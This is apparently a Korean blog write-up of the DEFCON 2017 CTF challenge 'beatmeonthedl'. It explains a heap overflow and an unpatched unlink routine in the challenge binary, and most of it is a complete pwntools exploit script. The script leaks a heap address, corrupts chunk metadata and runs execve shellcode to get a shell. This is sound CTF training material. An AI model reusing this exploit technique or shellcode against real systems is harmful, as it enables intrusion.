ctf
[DEFCON 2017 CTF] beatmeonthedl
woodonggyu
2017. 5. 9. 01:39
# file beatmeonthedl
beatmeonthedl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, not stripped
[*] '/ctf/beatmeonthedl'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Starting local process './beatmeonthedl': Done
동적 링크된 64bit 바이너리이다. smashme 와 같이 NX, PIE, SSP 등이 걸려있지 않다.
각각의 기능은 분석하는데 크게 어렵지 않으므로.. 스스로 해보길 바란다..
취약점은 간단하다. 56byte 만큼 힙에 할당하는데 아래쪽에 read() 함수를 통해 128byte 만큼 입력받는 heap overflow 취약점이다.
1
2
3
4
5
6
7
8
9
10 |
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
FD->bk = BK;
BK->fd = FD;
}
} |
cs |
현재, 기존의 unlink 취약점은 위와 같은 코드로 패치되어 사용할 수 없다.
하지만 바이너리 내에 free() 함수 내부를 보면 패치된 코드가 아닌 예전의 unlink 코드인 같다.
즉, unsafe unlink 기법을 사용하지 않고 unlink 를 통해 익스플로잇이 가능하다.
# exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98 |
from pwn import *
shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7
\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
def Request(data):
p.sendline('1')
print p.recvuntil('Request text > ')
p.send(str(data))
print p.recvuntil('| ')
def Print():
p.sendline('2')
print p.recvuntil('| ')
def Delete(num):
p.sendline('3')
print p.recvuntil('choice: ')
p.send(str(num))
print p.recvuntil('| ')
def Update(num, data):
p.send('4')
print p.recvuntil('choice: ')
p.send(str(num))
print p.recvuntil('data: ')
p.send(str(data))
print p.recvuntil('| ')
if __name__ == '__main__':
binary = ELF('./beatmeonthedl')
p = process('./beatmeonthedl')
# beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me', 6969
print p.recvuntil('Enter username: ')
p.send('mcfly')
# leak heap address
print p.recvuntil('Enter Pass: ')
p.send('BBBBBBBBBBBBBBBBBBBBBBBB')
data = p.recv(1024)
if data[41:42] == '\x0a' :
heap_leak = u32(data[38:41] + '\x00') - 0x10
log.info('heap address = ' + hex(heap_leak))
else :
heap_leak = u64(data[38:42] + '\x00'*4) - 0x10
log.info('heap address = ' + hex(heap_leak))
shellcode_addr = heap_leak + 0xd0
log.info('shellcode location = ' + hex(shellcode_addr))
p.send('mcfly')
print p.recvuntil('Enter Pass: ')
p.sendline('awesnap')
print p.recvuntil('| ')
Request('AAAA')
Request('BBBB')
Request('CCCC')
Request('DDDD')
Delete(1)
# unlink
Update(0, "A"*48 + p64(0) + p64(0x41) + p64(0x609958-24) + p64(shellcode_addr))
Update(2, "\x90"*14 + "\xeb\x1e" + "\x90"*30 + shellcode)
p.sendline('3')
print p.recvuntil('choice: ')
p.sendline('0')
p.interactive() |
cs |